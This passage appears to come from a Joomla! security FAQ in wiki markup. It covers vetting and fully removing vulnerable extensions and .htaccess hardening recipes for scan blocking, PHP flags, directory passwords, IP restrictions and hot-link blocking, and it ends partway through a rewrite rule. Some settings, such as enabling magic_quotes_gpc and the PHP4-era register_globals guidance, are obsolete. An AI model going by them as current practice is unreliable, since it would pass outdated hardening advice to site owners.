A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
